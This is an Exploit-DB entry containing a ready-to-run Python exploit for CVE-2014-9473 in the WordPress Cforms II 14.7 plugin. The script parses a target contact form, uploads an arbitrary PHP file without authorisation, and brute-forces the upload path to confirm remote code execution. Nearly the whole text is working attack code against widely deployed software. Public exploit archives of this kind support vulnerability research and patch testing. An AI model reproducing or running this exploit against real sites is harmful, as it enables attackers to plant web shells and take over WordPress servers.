Exploit-DB #35879
Description: WordPress Plugin Cforms 14.7 - Remote Code Execution
Type: webapps
Platform: php
Date: 2015-01-19
Author: Zakhar

Exploit:
# Exploit Title: Remote Code Execution via Unauthorised File upload in Cforms 14.7 
# Date: 2015-01-19
# Exploit Author: Zakhar
# Vendor Homepage: https://wordpress.org/plugins/cforms2/
# Software Link: https://downloads.wordpress.org/plugin/cforms2.zip
# Version: 14.7
# Tested on: Wordpress 4.0
# CVE : 2014-9473

import os
import requests
import re
import base64
import sys
from lxml import etree
from optparse import OptionParser

def main():
	print 'Cforms II File Upload + Remote Code Execution\n'
	
	text = 'Test text'
	text_mail = 'test@mail.com'

	parser = OptionParser()
	parser.add_option("-f", "--file", dest="file", help="file to upload", default = "itest.php", metavar="FILE")
	parser.add_option("-i", "--max-iterations", dest="iterations", help="Numbe of fields to iterate", default = "10")
	parser.add_option("-b", "--upload-file-name-bruteforce", dest="brute", help="Uploaded file name brute force", default = "10")
	parser.add_option("-n", "--cforms-form-number", dest="number", help="Cforms form number", default = "")
	parser.add_option("-c", "--cforms-home-dir", dest="home", help="Cforms form home dir", default = "/wp-content/plugins/cforms2/")
	parser.add_option("-u", "--url", dest="url", help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")

	(opt, args) = parser.parse_args()
	options = opt.__dict__
	if not opt.url:   # if url is not given
		parser.error('URL not given')
	if not opt.file:
		parser.error('file not given')
	filename = options["file"]
	if os.path.isfile(filename) is not True:
		print 'No such file '+filename 
		return 0

	url = options['url']
	home = options["home"]
	i = options["iterations"]
	n = options["number"]
	b = options["brute"]
	
	s = requests.Session()
	
	r = s.get(url)
	if r.status_code != requests.codes.ok:
		print 'Error: website not found.'
		return 0
	
	tree = etree.HTML(r.text)
	# get cforms id
	if n is "":
		for x in xrange(2,10):
			for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):
				if node is not None:
					n = str(x)
					break
	print 'Cforms form number is <'+n+'>'
	hidden = ['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
	fields = ['cf'+n+'_field_'+str(x) for x in xrange(1,int(i)+1)]
	required = {'sendbutton'+n:'1'}
	
	for f in fields:
		for node in tree.xpath('//*[@id="' + f + '"]'):
			if node is not None:
				if 'fldrequired' in node.get('class'):
					if 'fldemail' in node.get('class'):
						required[f] = text_mail
					else:
						required[f] = text
	
	for h in hidden:
		for node in tree.xpath('//*[@id="' + h + '"]'):
			if node is not None:
				required[h] = node.get('value')
	
	for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):
		if node is not None:
			print 'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'
			return 0
	
	files = {'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
	r = s.post(url,data=required,files=files)
	
	if r.status_code != requests.codes.ok:
		print 'Error: post error.'
		print r.status_code
		return 0
	else:
		url1 = url + home + 'noid-wow.php'
		flag = 0
		if s.get(url1).status_code != requests.codes.ok:
			for l in xrange(1,int(b)):
				url1 =  url + home + str(l) + '-wow.php'
				print url1
				if s.get(url1).status_code == requests.codes.ok:
					flag = 1
					break
		else:
			flag = 1
		if flag == 1:
			print "Succes! Uploaded file: " + url1
		else:
			print "Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"

main()